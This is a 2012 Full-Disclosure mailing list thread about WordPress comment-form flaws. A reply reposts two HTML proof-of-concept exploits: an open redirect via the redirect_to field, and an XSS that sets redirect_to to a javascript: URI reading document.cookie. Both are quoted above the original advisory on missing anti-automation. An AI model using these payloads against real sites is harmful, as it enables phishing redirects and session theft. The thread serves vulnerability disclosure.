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Re: IAA, Redirector and XSS vulnerabilities in WordPress
From: InterN0T Advisories <advisories () intern0t net>
Date: Sat, 05 May 2012 09:54:02 -0400
Hi List, To stop MustLive's desperate act of trying to get visitors (and more backlinks) to his website, I have for those that doesn't want to go to there, just to see the PoC's but actually read them on this mailing list like almost _every other_ Proof of Concept / exploit, made them available below. Contents of Wordpress Redirector: <html> <head> <title>WordPress Redirector exploit (lol?) (C) 2012 MustLive. [removed]</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="Test" /> <input type="hidden" name="email" value="test () test test" /> <input type="hidden" name="comment" value="Test" /> <input type="hidden" name="comment_post_ID" value="1" /> <input type="hidden" name="redirect_to" value="http://awebsite.tld" /> </form> </body> </html> -------------------------------------- Contents of Wordpress XSS: <html> <head> <title>WordPress XSS exploit (lol?) (C) 2012 MustLive. [removed]</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="Test" /> <input type="hidden" name="email" value="test () test test" /> <input type="hidden" name="comment" value="Test21" /> <input type="hidden" name="comment_post_ID" value="1" /> <input type="hidden" name="redirect_to" value="javascript:alert%28document.cookie%29//" /> </form> </body> </html> -------------------------------------- I don't really have any comments about these "exploits". Best regards, Nemesis 3.0 On Sat, 5 May 2012 16:01:53 +0300, "MustLive" <mustlive () websecurity com ua> wrote:
Hello list! I want to warn you about security vulnerabilities in WordPress. These are Insufficient Anti-automation, Redirector and Cross-Site Scripting vulnerabilities. ------------------------- Affected products: ------------------------- Vulnerable are WordPress 2.0 - 3.3.1. ---------- Details: ---------- Already from WP 2.0 there are Insufficient Anti-automation, Redirector
and
XSS vulnerabilities in wp-comments-post.php. With IAA I've faced just
when
begun using WP in 2006. If the developers fixed vulnerabilities in previous two redirectors in WP 2.3, then these vulnerabilities were not fixed
even
in WP 3.3.1 IAA (WASC-21): Lack of captcha in comment form allows to conduct automated attacks. The
developers still haven't put captcha in WP comments form (from the first
version of engine), which besides IAA attacks, also allowed to conduct Redirector and XSS attacks. By default in WordPress the premoderation is turned on, and also there
is
built-in anti-spam filter. But if 10 years ago the premoderation would
be
enough, then long ago this mechanism couldn't be considered as
sufficient
protection against spam, and anti-spam filter had efficiency less then
1%
- only few from spam messages he marked as spam. And also these mechanisms
don't protect against below-mentioned attacks. Also plugin Akismet is bundled with WP, which is "captcha-less" protection against spam. But by
default it's turned off and comparing with captcha it's considered as
less
efficient and also doesn't protect against below-mentioned attacks. Redirector (URL Redirector Abuse) (WASC-38): Exploit: [Removed] XSS (WASC-08): Exploit: [Removed] XSS attack is possible on different browsers, but it's harder to conduct
then in case of previous two redirectors (via data URI). At IIS web servers the redirect is going via Refresh header, and at other web servers - via
Location header. Due to nuances of work of this script (filtering of important symbols
and
adding of anchor), for execution of JS code it's needed to use tricky bypass methods. This complexity exists as with javascript URI, as with combo variant javascript URI + data URI. Reliable captcha protects against IAA, Redirector and XSS
vulnerabilities.
------------ Timeline: ------------ 2012.04.26 - disclosed at my site Best wishes & regards, MustLive Administrator of Websecurity web site _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- IAA, Redirector and XSS vulnerabilities in WordPress MustLive (May 05)
- Re: IAA, Redirector and XSS vulnerabilities in WordPress InterN0T Advisories (May 05)
- Re: IAA, Redirector and XSS vulnerabilities in WordPress Benji (May 05)
- Re: IAA, Redirector and XSS vulnerabilities in WordPress InterN0T Advisories (May 05)
- Re: IAA, Redirector and XSS vulnerabilities in WordPress Benji (May 05)
- Re: IAA, Redirector and XSS vulnerabilities in WordPress InterN0T Advisories (May 05)